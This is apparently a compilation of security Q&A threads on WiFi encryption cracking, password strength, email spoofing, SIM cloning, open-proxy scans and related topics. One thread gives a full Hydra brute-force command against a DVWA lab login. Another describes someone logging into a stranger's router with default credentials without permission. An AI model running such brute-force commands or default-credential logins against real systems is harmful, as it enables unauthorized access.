How does WiFi password cracking work? Let's say I have a wireless network that is password protected.

What procedures can an intruder take to gain access to my wireless network, or at least be able to decipher the packets I am sending into something understandable? How long would such a method take?

For example, how exactly does aircrack gain access?

This related question is about what happens once an attacker knows the password: I'm interested in how they get the password.

First of all that would entirely depend on the encryption used by the access point. There are several types of possible encryption. Mostly on consumer wireless access points these are:

WEP
WPA
WPA2
WPS

WEP

Let's first dive into WEP. WEP was the first algorithm  used to secure wireless access points. Unfortunately it was discovered that WEP had some serious flaws. In 2001, 3 researchers working at Berkeley produced a paper named "(In)Security of the WEP algorithm". They found the following flaws in WEP:

Passive attacks to decrypt traffic based on statistical analysis.
Active attack to inject new traffic from unauthorized mobile   stations, based on known plaintext.
Active attacks to decrypt traffic, based on tricking the access
point.
Dictionary-buildingattack that, after analysis of about a day's worth
of traffic, allows    real-time automated decryption of all traffic.

An excerpt from their paper about the technical problems with WEP:

  WEP uses the RC4 encryption algorithm, which is known as a stream
  cipher. A stream cipher operates by expanding a short key into an
  infinite pseudo-random key stream. The sender XORs the key stream with
  the plaintext to produce ciphertext. The receiver has a copy of the
  same key, and uses it to generate identical key stream. XORing the key
  stream with the ciphertext yields the original plaintext.

  This mode of operation makes stream ciphers vulnerable to several
  attacks. If an attacker flips a bit in the ciphertext, then upon
  decryption, the corresponding bit in the plaintext will be flipped.
  Also, if an eavesdropper intercepts two ciphertexts encrypted with the
  same key stream, it is possible to obtain the XOR of the two
  plaintexts. Knowledge of this XOR can enable statistical attacks to
  recover the plaintexts. The statistical attacks become increasingly
  practical as more ciphertexts that use the same key stream are known.
  Once one of the plaintexts becomes known, it is trivial to recover all
  of the others.

  WEP has defenses against both of these attacks. To ensure that a
  packet has not been modified in transit, it uses an Integrity Check
  (IC) field in the packet. To avoid encrypting two ciphertexts with the
  same key stream, an Initialization Vector (IV) is used to augment the
  shared secret key and produce a different RC4 key for each packet. The
  IV is also included in the packet. However, both of these measures are
  implemented incorrectly, resulting in poor security.

  The integrity check field is implemented as a CRC-32 checksum, which
  is part of the encrypted payload of the packet. However, CRC-32 is
  linear, which means that it is possible to compute the bit difference
  of two CRCs based on the bit difference of the messages over which
  they are taken. In other words, flipping bit n in the message results
  in a deterministic set of bits in the CRC that must be flipped to
  produce a correct checksum on the modified message. Because flipping
  bits carries through after an RC4 decryption, this allows the attacker
  to flip arbitrary bits in an encrypted message and correctly adjust
  the checksum so that the resulting message appears valid.

  The initialization vector in WEP is a 24-bit field, which is sent in
  the cleartext part of a message. Such a small space of initialization
  vectors guarantees the reuse of the same key stream. A busy access
  point, which constantly sends 1500 byte packets at 11Mbps, will
  exhaust the space of IVs after 1500*8/(11*10^6)*2^24 = ~18000 seconds,
  or 5 hours. (The amount of time may be even smaller, since many
  packets are smaller than 1500 bytes.) This allows an attacker to
  collect two ciphertexts that are encrypted with the same key stream
  and perform statistical attacks to recover the plaintext. Worse, when
  the same key is used by all mobile stations, there are even more
  chances of IV collision. For example, a common wireless card from
  Lucent resets the IV to 0 each time a card is initialized, and
  increments the IV by 1 with each packet. This means that two cards
  inserted at roughly the same time will provide an abundance of IV
  collisions for an attacker. (Worse still, the 802.11 standard
  specifies that changing the IV with each packet is optional!)

Some other interesting reading material can be found at aircrack-ng.org.

WPA

The second one is WPA. WPA was originally meant as a wrapper to WEP which tackles the insecurities caused by WEP. It was actually never meant as a security standard but just as a quick fix until WPA2 became available.

There are two modes in which it can operate:

WPA-PSK: Preshared key (password)
WPA-Enterprise: This requires a RADIUS server and can be combined with an Extensible Authentication Protocol (EAP).

WPA generally uses Temporal Key Integrity Protocol (TKIP). TKIP was designed by the IEEE 802.11i task group and the Wi-Fi Alliance as a solution to replace WEP without requiring the replacement of legacy hardware. This was necessary because the breaking of WEP had left WiFi networks without viable link-layer security, and a solution was required for already deployed hardware. TKIP is not an encryption algorithm, but it's used to make sure that every data packet is sent with a unique encryption key.

From the aircrack-ng.org paper

  TKIP implements a more sophisticated key mixing function for mixing a
  session key with an initialization vector for each packet. This
  prevents all currently known related key attacks because every byte of
  the per packet key depends on every byte of the session key and the
  initialization vector. Additionally, a 64 bit Message Integrity Check
  (MIC) named MICHAEL is included in every packet to prevent attacks on
  the weak CRC32 integrity protection mechanism known from WEP. To
  prevent simple replay attacks, a sequence counter (TSC) is used which
  allows packets only to arrive in order at the receiver.

There are two attacks known against TKIP:

Beck-Tews attack
Ohigashi-Morii attack (which is an improvement on the Beck-Tews attack)

However both of these attacks only could decrypt small portions of data, compromising confidentiality. What they can't give you is access to the network. To give you an idea of how much data can be recovered, a single ARP frame would take around 14-17 minutes to get the plain text.

The only attack know, besides flaws in firmware of some routers, is bruteforcing the WPA key. Generally the key is generated as follows:

Key = PBKDF2(HMAC−SHA1,passphrase, ssid, 4096, 256)

Considering this algorithm is meant to prevent hashed passwords from being broken it can take a huge amount of time. The only reasonable attack would be to use a dictionary attack (hence it is important to use long passwords containing characters, numbers and letters).

Also note that you need to change your SSID to something very random. Rainbow tables have been generated for the top 1000 used SSIDs.

WPA also supports AES (which can be used instead of RC4). This would still imply that TKIP-MIC is used.

WPA2

WPA2 supports the same modes as WPA, except that it does not use TKIP but CCMP for cryptograhic encapsulation.

CCMP is an enhanced data cryptographic encapsulation mechanism designed for data confidentiality and based upon the Counter Mode with CBC-MAC (CCM) of the AES standard. This is used to replace TKIP for message confidentiality.

However some access points can still be configured to use both TKIP and CCMP. This was done because otherwise people were required to upgrade their hardware.

Extensions

WPS

Wi-Fi Protected Setup (WPS; originally Wi-Fi Simple Config) is a computing standard that attempts to allow easy establishment of a secure wireless home network. It allowed easy security for home users but still using the more secure WPA rather than WEP. WPS should never be used as there is a great design flaw in it. WPS generates 'by the push of a buton' a PIN code which can be entered by the user. The idea behind this was to increase usability. This poses a problem: the amount of possibilities is reduced to 10.000.000 which any computer can crunch through quite rapidly, even when using PBKDF2.

EAP

EAP is used for WPA(2)-Enterprise and is an authentication framework, not a specific authentication mechanism. It provides some common functions and negotiation of authentication methods called EAP methods. There are currently about 40 different methods defined. Some have their own flaws however considering the vast amount of possibilities I suggest looking them up yourself.


How secure is Snowden's MargaretThatcheris110%SEXY password? In an extra from Edward Snowden's interview with John Oliver, Snowdon advises that a good password to use is one such as MargaretThatcheris110%SEXY..

Also, on the Errata Security blog, Robert Graham says on the matter:

  NSA leaker Edward Snowden recent suggested that a strong password
  would look like "MargaretThatcheris110%SEXY". he's been criticized for
  this, but actually, it indeed pretty strong. Yes, there are lots
  dictionary and Markov weakness, but they are compensated for by
  length. All else being equal, longer is better. Indeed, whatever
  password you have now, simply adding "xxxxxxxxxxx" onto the end of it
  it likely to make it unbreakable, and it's extremely easy for you to
  remember. A password like "MaThis110%SX" is a 12 character password
  such that even the NSA is unlikely to be able to break it if it were
  your Lastpass password -- Snowden's longer form doesn't make it worse.
  (Note, some people claim this Snowden example isn't so secure, but
  they are wrong).

Now, on previous discussions on here we have learnt that the human brain is bad at being random. We also know that password entropy isn't based on what's in the actual password, but how the password was generated. For example, the following password may be considered strong on first glance:

zTzG5rUev2fBBkp6dEMJHNEQWWmFTSjBBn26cQCgkVXSydep3nUx6pF4uf6Pu59RYKDEwkwnTdFJht2n

However, say that Bob always generates his passwords by combining the following words in his password generation text file together in a random order, and the attacker knows that, then the password is not so strong.

kVXSydep3nUx6pF4uf6P
zTzG5rUev2fBBkp6dEMJ
HNEQWWmFTSjBBn26cQCg
u59RYKDEwkwnTdFJht2n

One of the comments on the Wired article is:

  if I was trying to crack a hash I wouldn't just assume from the
  beginning that all passwords follow a
  female_names+surnames+english_word+english_word+known_passwords
  pattern and then wait up to 7 days to see if I was correct. If I knew
  it was that pattern, then Snowden's password would have 33.041 bits of
  entropy. Otherwise, the entropy would be considerably higher (>100
  bits).

This describes the crux of my question. If I made such a password like MargaretThatcheris110%SEXY., a "strength meter" such as zxcvbn gives the entropy as 39.6 (including the full stop). However, nobody knows that I generated the way zxcvbn breaks it down. And even if they did know I'd used that method in the past, I might use a different method for my next password (e.g. male_name+number+english_word+french_word+known_password+diceword).

As tylerl notes in another answer:

  We can guess at what dictionaries will be available to the attacker,
  but we can't know for certain. Therefore, as a proxy for dictionary
  size, we instead use entropy. It's a poor substitute because it
  doesn't reflect the actual attack mechanics, but it's potentially
  better than nothing.

If an attacker knows that I might use "human brain made up" sequence definitions, possibly with "human brain made up" values to fill in those sequences, does this actually help them in any practical sense? What I mean is the entropy value of 39.6 doesn't really mean it can be attacked by a brute force attack filling that keyspace, because the attacker does not know the structure. I realise in security the only things that should be secret are passwords and secret keys, the mechanisms themselves should be considered known and public. However, the way the password is generated could be considered private because know one else knows the exact method. Obviously Snowden has revealed this publically, but for his next password he'll do it slightly differently. Is this why Graham disagrees that Snowden's example is more secure than the entropy analysis suggests?

Also related: Has human-generated entropy ever been a real problem?

As tylerl noted, entropy isn't really a measure of password strength, but it is the best that we've got:

  The purpose of password complexity is to stand up against a
  brute-force attack. The size of the smallest available dictionary that
  contains your password determines the amount of time required to crack
  your password. We can guess at what dictionaries will be available to
  the attacker, but we can't know for certain. Therefore, as a proxy for
  dictionary size, we instead use entropy. It's a poor substitute
  because it doesn't reflect the actual attack mechanics, but it's
  potentially better than nothing.

  Comparisons of passwords based on entropy calculations may potentially
  be fruitful, but you should be careful to avoid ascribing too much
  value to a number which is, in the end, only indirectly related to how
  well the password will hold up.

Even though the MargaretThatcheris110%SEXY. password, when analysed, has an entropy of 39.6 bits, the generation method is randomised (albeit by the human brain). This  makes it difficult to gauge its actual strength. This faux randomisation will also make it difficult for an attacker to put together a wordlist without knowing the structure itself of that particular password. Unless the end-user is using the same structure for multiple passwords (which might accidentally happen should they generate enough that they need to remember), then this lack of entropy doesn't really help the attacker. This is why Graham disagrees that Snowden's password is weak.

It is impossible to judge whether any given single password is "weak" or "strong".

DyZ29ZQ8JswmeKutXHDHh77YqpkmD

might be a secure password, however if it is in the attacker's dictionary then it is not. Password "strength" meters like zxcvbn can give a breakdown of how your password might be constructed, and if it falls into a common sequence then that may prompt you to go for a different one.

The sequence of

female_names + surnames + english word + english word + digits + common password + character

that zxcvbn determines from MargaretThatcheris110%SEXY. is not likely to be very common, therefore an attacker would only choose to attack the keyspace of this entropy distribution if they have a specific reason to do so. This means MargaretThatcheris110%SEXY. is probably as NSA proof as Graham suggests.


Audio not playing on Android (Kitkat 4.4.2 on LG G Pro 2 D838) via HTTPS I am having issues playing an audio file on the chrome browser!

This audio file plays on the chrome browser on my mobile LG G Pro-2(D838) running Kitkat 4.4.2 without any issues.
But when i uploaded this same file to our server and tried to open it on chrome browser, it does not play. Here is the link to the file at our server.

Now the server is configured for HTTPS access only. When I tried playing the file after enabling HTTP access, the audio played.
Also, the images and other content on our server is accessible on the same mobile device via HTTPS. The audio file also plays on other mobile devices running same Android version(Google Nexus 4 running 4.4.2).

We are using certificate provided by StartSSL(free version).

Is there something wrong with the SSL certificate we are using? Or is it the problem with the device?

I don't know how the audio playing is done on the device, but if an external application outside chrome is used for download the content, then the problem might be the use of SNI (Server Name Indication). Some Android applications still have problems with SNI, especially if they where built with Apaches HTTP client library.

But, your site requires SNI. That is, if you access the site with SNI you get the right certificate for frontend.xxxx, but without SNI you get the certificate for app.xxxx which does not match the used host name and thus is invalid for the connection.


SSH Tunnels for Securing IoT Sensor-to-Server Connections (Many to One) All,
How bad (or good) an idea would it be to utilize SSH tunnels from my sensor gathering remote computers (imagine an "industrial" Raspberry Pi-like device w/ Linux) to my centralized server (also Linux) that ingests the sensor data?

SSL certificate management can be a real pain and SSH is already required for our remote maintenance operations. Therefore it seems that extending SSH to provide tunnels to secure our two-way sensor to server comms would be a reasonable approach... or not?

We could have hundreds to potentially 'low' thousands of these machines connecting across our corporate LAN which will consist of a VPN segment to a telecom provider's private APN for the cellular connectivity leg. I'd expect resource utilization could be the biggest challenge at some point for the server, as there are probably a number of proxy solutions for managing SSL/TLS connections while SSH... probably not. What else should I be considering?

I'd be interested in hearing the experts opinions on the pros/cons of utilizing SSH tunnels for securing the comms between many remote "field" devices and a centralized server.

The data would be submitted every few minutes (let's use 5 minutes as an example) so it likely makes sense to keep the tunnels persistently open to avoid constant key exchanges and the associated processing costs and bandwidth overhead.

Using ssh instead of https will probably cause some maintenance headaches. There could be a firewall between your devices and the server (say at the APN exit or at your company's entrance) that will block ssh access. Even if there isn't, allowing ssh access to the server means, well, allowing ssh access to the server with all the risk that opening up shell connections entails. Any logging of the ssh port to look for bad actors is going to be completely overwhelmed by the IoT devices' connections. Presumably you're going to lock down the ssh access pretty tight, but any mis-configuration (like to solve an unrelated problem 3 or 4 years from now) will let someone into your server. Use https instead with a server that listens only for specific reports and throws away everything else and you can defend your server better.

Also SSL has a lot of management utilities already built in, like being able to revoke certificates. If you try to use SSH you'll just end up DIYing a lot of this as you realize you need those features; just set it up right the first time. Whoever comes after you (or you in 5 years when you get called back to maintain this system) will thank you for it!


Firewalling: Screened Host / Bastion Host I'm having troubles understanding the definition or the idea behind screened host / bastion host that you often find in the internet or books:

Is the bastion host in this context, the firewall itself? (e.g. just a machine on which iptables (or another software) is running that is controlling the traffic? Or is it some kind of host that is accessible from the internet?

Bastion hosts are from old, and flawed, firewall design concepts. The idea was basically an unprotected DMZ of sorts with a hardened computer (the bastion host) in that area. The reason it even came into existence is simply due to the fact that firewalls when they first came out were extremely expensive and rarely had more than two interfaces on them. This was also long before IPTables/IPChains was an option.

A second concept going on in this drawing is referring to multiple systems as part of the firewall. For a while when we were using things like proxy servers for firewalling specific protocols, not unlike using a Web-Application Firewall (WAF) or SPAM firewall in addition to your network firewall today, we considered the combined set of devices to be one firewall. That notion has mostly gone away and we simply call each device by its own name now.

You may find the historical reference to Marcus J Ranum useful on the related Wikipedia page:
https://en.wikipedia.org/wiki/Bastion_host


What do I do about a forgotten, ancient PGP key? I just created a new PGP key because I want to start using PGP to encrypt my emails. Lo and behold, this is apparently not my first attempt to use PGP. Five years ago, I created another PGP key using an ancient encryption algorithm (DSA 1024-bit). This would be very easy to crack.

Needless to say, I don't have a revoke certificate for it. What should I do?

A DSA 1024 certificate will not be very easy to crack, not even having a high performance cluster at hand. An exception might only be if generated using weak random data, for example because of the Debian random flaw.

If you have lost control over the private key, and do not have a revocation certificate, you cannot do anything about it. Key server data cannot be deleted, and you cannot modify or revoke the key without having the private key (or as a special case, revoke it with a revocation certificate.

To designate that a key should not be used, you can issue a revocation for your old key. Client applications like GnuPG will not consider it and mark the old key as revoked, but most of them will at least issue a warning (so other users have a hint that something is fishy).

Generally, always generate a revocation certificate immediately after creating a new key, and store it in a place you will not lose it (ie. printed on a piece of paper, maybe inside an QR code).


Is there a protocol for securely trading information between possibly uncooperating agents? Is there a protocol or best practice for trading information between parties where one, after receiving his share of the information from the others, might refuse to answer or might alter his answer, based on the information he just received? Ideally there should be a system where each put in their information, and the system only reveals it after all have posted theirs.

The point is, there are a number of people, not more than ten, who want to use an online system to share information (which, for the sake on an example, resembles trading information. For example, I sell x for y amount of money). It has to be done at most a few times per month. It would be best to use something like a chat room, private forum, an instant messaging group or a plain old e-mail list, and we need to eliminate the possibility of someone altering their answer upon reading what the others have posted. Even if not expecting malice, one can unconsciously alter their part if reading the others beforehand.

I'm trying to hinder any and all kinds of game theory related dilemmas.

There are multiple solutions to the problem, but all have major disadvantages.

create a website which handles this: once everyone posted their message, the website will reveal them to all. Problem: if such a public and well-known service existed, it would be the answer to this question. If it doesn't exist, and someone from the group (or someone hired by someone from the group) implements it, how could the others trust that it doesn't leak information to him?
meet in person, write it on paper, and read them together. Problem: hard to organize, and costly, especially if the members live far away from each other.
Everyone posts a hash of their message. After all the hashes have been posted, all can post the normal message in any order, because an altered message can be spotted. Problem: too ominous, frustrating and time-consuming to do, might make people paranoid, and as they check every time the hashes of the others, it accentuates that they don't trust each other. A full-body scan when leaving a baker's store to check whether you have stolen a cookie would accentuate too much that the baker distrust you. To understand my point with the baker example: putting the cookies out of easy reach and giving them only on demand to the first customer in line is a sensible security precaution, but making a full-body scan is not.

The information needed to be exchanged can be expressed in basic textual form, and is at most a few hundreds of characters long.

The answer is no, and it's explained why in the Thomas Pornin answer to another question.

From any system that doesn't require a trusted third party, there's no way to escape, since you can force them to reveal the secret at the same time. So, no matter if you encrypt it, sign it, say it louder, everybody types at the same time in a chat, reveal some hash first, etc., if you're not obliged to reveal the information, you simply don't reveal it, loses nothing, and earn information provided previously.

Publishing hashes before might only assure that the revealed information wasn't changed between the time it was "written" and had the hash calculate, and the time it was really revealed. So you solve the "alter the answer" part, not the "refuse to answer" one.


Did the "Malicious SHA-1" technique enable the NSA to insert a backdoor into SHA-1? SHA-1 was standardized by the NSA. It appears to be possible to choose the constants in such a way that collisions can be derived easily. Yet, it is not easily possible to discover that the constants have been chosen in such a way.

Would it have been possible for the NSA to insert a backdoor into SHA-1 using this technique? Would there be any way to find out? Are there be any security implications regarding the standard SHA-1?

This attack is not about generating a modified SHA-1 that makes collisions easier, it's about generating a modified SHA-1 as part of the process of generating one specific collision.  The modified hash function so produced is only useful for creating the single collision used in the generation process; it is no more vulnerable to collisions in general than ordinary SHA-1.  See the bottom of page 5 of the research paper.

The constants in ordinary SHA-1 are the square roots of 2, 3, 5, and 10, times 2^30.  Yes, it's possible that those four numbers were picked because they permit the creation of a single highly-valuable collision somewhere, but it's unlikely.


url from another domain in my access log Most of the time when I am looking for 404 errors in my access.log, I see attempts to access something like /phpMyAdmin/scripts/setup.php. This does not bother me so much, but few days ago I was surprised because I saw this in my access.log

95.47.119.124 - - [19/Aug/2013:11:30:31 +0000] "GET http://server7.cyberpods.net/azenv.php HTTP/1.1" 404 3080 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.28) Gecko/20120306 Firefox/3.6.28 (.NET CLR 3.5.30729)"
223.220.68.129 - - [21/Aug/2013:00:55:46 +0000] "GET http://www.baidu.com/ HTTP/1.1" 404 3080 "http://www.baidu.com/" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"

What surprises me is that someone is trying to access not some relevant URL on my domain, but something absolutely different.

I have two questions:

How are they doing it?
What is the reason behind it?

welcome to the intertubes!!!

  What is the reason behind it?

what you see are scans for open proxies, e.g. someone is looking if he/she/it can misuse your server to browse other sites.

the first one looks very interesting, because it looks like a scanner; when checking the link (please DONT click on that with a browser), it will give back:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head><title>AZ Environment variables 1.04</title> </head><body><pre>
HTTP_USER_AGENT = Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0)
HTTP_HOST = server7.cyberpods.net
HTTP_CACHE_CONTROL = max-age=43200
HTTP_CONNECTION = keep-alive
REMOTE_ADDR = 80.226.24.11
REMOTE_PORT = 45993
REQUEST_METHOD = GET
REQUEST_URI = /azenv.php
REQUEST_TIME = 1377237144

  How are they doing it?

by using tools and issuing the GET-request directly

no magique at all :)

btw, get used to it, install stuff like ossec and you'll see a lot more scanners brute-forcing your website for wp/phpmyadmin/joomla - whatever-eyploits all day long


Hydra hangs after TASKS number of tries I have dvwa set up and i am using the command:
hydra -IV -t 1 -l admin -P rockyou.txt localhost http-get-form "/vulnerabilities/brute/index.php:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect.:H=Cookie: PHPSESSID=tegnf0po32eavd385ckd9khqc3; security=low"

since my request in BurpSuite looks like this:
GET /vulnerabilities/brute/index.php?username=test&password=123&Login=Login HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://localhost/vulnerabilities/brute/index.php
Cookie: PHPSESSID=tegnf0po32eavd385ckd9khqc3; security=low
Upgrade-Insecure-Requests: 1

Hydra only tries one password and then hangs, only giving status updates for the next minutes like so:
[STATUS] 1.00 tries/min, 1 tries in 00:01h, 14344397 to do in 239073:18h, 1 active
[STATUS] 0.33 tries/min, 1 tries in 00:03h, 14344397 to do in 717219:52h, 1 active

My hydra version is v9.1
I am running DVWA in a docker container and can access the target page via browser on the url: http://localhost/vulnerabilities/brute/index.php

According to this issue: https://github.com/vanhauser-thc/thc-hydra/issues/612
Hydra 9.1 has a bug that affects that command... even though version 9.2 only says about an http-post-request buxfix
Kali does not install 9.2 version and says 9.1 is the latest when doing sudo apt install hydra


Can a spoofer intercept my email, insert text and send it on? I send money to a charity in Africa. Recently my contact gave money to a third party, he said at my request. As proof, he forwarded back my email, and sure enough, some text had been added instructing him to give money to this pastor. Of course it would be very easy for him to add this text in the process of forwarding it back to me, so it is not proof. However, to remove any further doubt, I would like to know if it would be possible for a hacker to do this? Or wouold a hacker have to send him a whole email? And if it is my contact who is tricking me, he would not be able to send a whole email, because he doesn't really have access to my account. There has been no other suspicious action on my account that I know of.

Email is not secure. It is very easy to send a completely fake email. Moreover, someone who can eavesdrop on an email while in transit can most often alter the transmission at will, in particular blocking the email, modifying it, and/or adding extra emails in the stream.

A classic method for email interception, at the network level, is DNS poisoning. Through some fake DNS responses, the attacker induces then sending email server to talk to him instead of the genuine destination server. The attacker can thus not only see all the data, but it is entirely up to him to decide what he will forward to the actual destination server.

Another vulnerable place is the incoming mailbox for the recipient. That mailbox must exist as some file on some server. Any server admin, or any of his interns, or any attacker who got access to that server (e.g. the server also hosts a vulnerable Web application, or whatever), can at will read and write emails in mailboxes.

Technically, you could have sent the fake email yourself, in order to later claim that there was abuse, fraud and deceit. Emails, by themselves, cannot decently serve as proof in either way.

(Emails occasionally do serve as proof, but only in contexts where involved parties don't feel that they could make a strong defending case. Emails are invoked in courts as data elements which were seized by police services on actual machines. In your case, you have full control on the machines on your side, and your adversary has full control on the machines on his side; and legal seizure is unlikely to occur in a cross-continents dispute.)


Question about handling credit card info in retail program The C# program I have created uses a webdriver to send the user's card number and other info such as their address to a store page, I never save the number in code other than when it is stored in memory. The user has to enter all of their data every time the program opens; is this a secure approach? (I'd assume not) What can be done to improve this? I don't think I would need keys because the webdriver imitates a keyboard and never communicates with a server. Also the program opens Firefox and uses it to access the website.

Also I don't know if this is the correct forum to ask this but what wording would I use in a privacy statement on my website selling this program? "We value the customer's security here at x, so we never get access to your personal info other than email address (for verification)." Is along the lines of what I was thinking.

All merchants who accept credit card information must be in compliance with PCI-DSS.  This is true even if you pass the credit card information to another service for processing.  However, it sounds like you would qualify for minimal the compliance level ("Card-not-present Merchants,
All Cardholder Data Functions Fully Outsourced", or level A).  To see how you are doing, you can fill out the self-assessment questionnaire for level A, or SAQ-A.

  if an ecommerce merchant only accepts credit card payment via their website and does not handle, process and store credit card data by using an API like ours or a hosted page, the merchant can qualify for the SAQ A, the shortest of the four.

If you meet the minimum requirements of PCI-DSS, your program will be reasonably secure.


Good way to make a secure token for logged out users I work for a firm that has a marketplace on the web. We want to make a link with a token that stops an ad on the marketplace without the user being logged in.

Someone suggested that we make a token from this:
base64urlencode(md5("salt-adid"))

adid is information known by the user.
salt is just a secret word.

Given this is this solution secure? The user can know the adid.

Will it be possible for a malicious user to calculate the url for stopping an ad?

How can this be change to be more secure?

EDIT: Xander pointed out that something was unclear and I will try and elaborate.

"It's not clear to me why you need a token at all. Is this just for some logged out users rather than all logged out users?"

It should not be possible for any user to stop the ad just to owner. We will be sending the url to the owner so he/she can use it if they want to stop the ad. So it is just for some logged out users.

Yes, if the "salt" is a secret word, it is possible for a user to calculate the hash by running a simple dictionary attack until they come up with the correct hash for their adid.

It's not clear to me why you need a token at all.  Is this just for some logged out users rather than all logged out users?

Regardless, if you do need to provide the user with a token that they can't duplicate, it needs to have a message authentication code.  If it's not secret (which it doesn't seem to be, since you said the adid which the user already knows will suffice) then use a MAC algorithm such as HMAC to ensure it can't be tampered with or forged.


Risks of lending/borrowing a SIM card temporarily? Suppose someone asks to borrow my SIM card so they can e.g. check if their phone is unlocked. I watch them use the phone to check what they need to check, and afterwards take my SIM card back. Is there any risk to me, my data, or my mobile subscription from lending my card like this? For example, is it conceivable that they could "clone" my SIM card in this time and then become capable of permanently receiving my messages or calls?

Conversely, if I borrow someone else's SIM card for a brief period, can their SIM card damage my phone or steal data from it?

On both counts, I suspect the risks are low, but I do not know for sure. For example, I don't know what the effects of an electrically-damaged SIM card might be.

Yes, you can clone a SIM card. All you need is a SIM writer, a blank SIM, and roughly 15-30 minutes. (guide for v2 cards)

Once that happens, they've effectively become your phone, and can intercept communications and messages, and charge your phone plan.

I do not know of any "rogue SIM card attacks," most attackers focus on attacking the SIM cards themselves.


X-Frame-Options Absent but cant load the page in iframe I am trying to find the reason that a certain webpage is not getting iframed even when X-Frame-Options header is absent.
Observation:
When I write an HTML with iframe tag pointing to the URL and save this file locally and open it, I can find the page getting loaded in an inframe. But I when I try the same URL here, it is not getting loaded in iframe.
So what else can stop a page from getting iframed except setting X-Frame-Option header value as DENY/Same-Origin?

This is a company specific link so I am refraining myself from pasting the URL but I am writing down all the response header that are being set:

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Set-Cookie: ASP.NET_SessionId=value
X-OFIS: some value
Strict-Transport-Security: max-age=31536000
X-UA-Compatible: IE=edge
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Security-Policy: default-src 'self' *.xyz.com
X-Content-Security-Policy: default-src 'self' *.xyz.com
Access-Control-Allow-Origin: *
Date: Sat, 13 May 2017 17:38:04 GMT
Connection: close
Content-Length: 33335

The HTTP header Content-Security-Policy can be used to protect from loading the page in an iframe.

In this case, its value is set to default-src 'self' *.xyz.com which means that only the current domain, and *.xyz.com can load this page in an iframe.

That HTTP header has other uses like protecting from XSS attacks. You can find more information on the OWASP guide.


DNS Tunnel or Not (g01.msn.com) Thought I found DNS tunneling and but after a closer look it seems a bit more complex. Anyone seen this traffic before?

User starts their computer, launches firefox.exe, then they hit c.msn.com within the next second:

DNS Request Sample (171 total)

c-3sux78kvnkay76x24vx2egjyesvzuzoix2eius.g01.msn.com
c-3sux78kvnkay76x24masx2eix78ozkux2eius.g01.msn.com
c-3sux78kvnkay76x24cccx2erotqkjotx2eius.g01.msn.com
c-3sux78kvnkay76x24vdx2egjyx2erotqkjotx2eius.g01.msn.com
c-3sux78kvnkay76x24ijtpyx2eiruajlrgx78kx2eius.g01.msn.com
c-3sux78kvnkay76x24cccx2emuumrkzgmykx78boikyx2eius.g01.msn.com
c-3sux78kvnkay76x24iutzkdzagrx2eskjogx2etkz.g01.msn.com
c-3sux78kvnkay76x24cojmkzyx2ezx78kkx2eius.g01.msn.com
c-3sux78kvnkay76x24sytx2eruiqkx78juskx2eius.g01.msn.com
c-msn-com-nsatc.trafficmanager.net

Connections to many major CDNs (51)
Amazon, Fastly, Highwinds, AOL, Verizon, etc

Reading up on trafficmanager.net, it seems to point to an Azure traffic manager owned by MS.
https://docs.microsoft.com/en-us/windows/privacy/windows-endpoints-1809-non-enterprise-editions

The URLs do not fit the bill for DNS tunneling as none of the URLs are unique to the internet: Last Updated 5 years ago https://www.virustotal.com/gui/domain/c-3sux78kvnkay76x24sytx2eruiqkx78juskx2eius.g01.msn.com/details

CDN connections could be explained by Windows or Firefox updates, but I am still perplexed by 171 DNS requests. The only thing written to file was into firefox's prefs-1.js.

Nothing here indicates for me a DNS tunnel and all the arguments you present yourself are against this too. The kind of URLs you see are not untypical for CDN or advertisement networks.

Note that *.msn.com is specifically documented in the document you link to as "Windows Spotlight related traffic" and Windows Spotlight is according to Wikipedia "...a feature included by default in Windows 10 that downloads pictures and advertisements automatically from Bing and displays them when the lock screen is being shown on a computer running Windows 10.".

This pretty much explains for me why you see pattern similar to CDN and advertisement networks here. And the trigger for this traffic is likely not the start of Firefox but the start of your computer, i.e. I expect it to happen even without Firefox getting started.


Are texted 2FA security codes deliberately easy to remember? I have 2FA setup on my bank account. When I login, I receive a six-digit code as an IM on my phone that I enter into the website. These codes always seem to have a pattern to them. Either something like 111xxx, 123321, xx1212, etc.

I'm thinking that these codes are intentionally easy to remember at a single glance. Is there a common business practice/best practice that dictates these codes have a pattern to them to make them easier to remember?

I have noticed this too, and I think it is a result of the human brain's tendency to apply patterns to random noise. This seems to be more common when specifically trying to remember a string of numbers.


How should I tell an organisation that they are vulnerable when I wasn't given permission to check? I was recently at a village hall (in the UK), some distance from where I live, for a party. I noticed that they had unsecured wi-fi with an SSID of NETGEAR. I assumed it was free wi-fi for users of the hall so I connected with my phone (now I think about it, I don't recall seeing the free wi-fi logo). The fact that the SSID of NETGEAR was the default that many routers are shipped with didn't go unnoticed by me, so I found the gateway IP, connected with safari, and out of curiosity, tried the default username and password for the majority of netgear routers - it let me in to the admin console.

I guess I shouldn't have tried to log in to the admin console without the owner's permission, but I feel I should let them know that they are vulnerable, and should change the password from default. I could perhaps make up a story that I thought I was connected via VPN to my router at home, but the connection had failed, or some such rubbish, but I'd rather not lie.

What should I do? Should I just forget it because I shouldn't have tried to gain access? Should I tell them the truth because I didn't do anything malicious?

Send them an anonymous email/snailmail. What they do with it is their responsibility. Your conscience will be clear.


I entered my password manager password in the browser URL field I saw various questions on a similar note but not quite the same as my situation:
I entered my password manager's password into the browser URL bar and hit enter. Has this breached the confidentiality of that password?

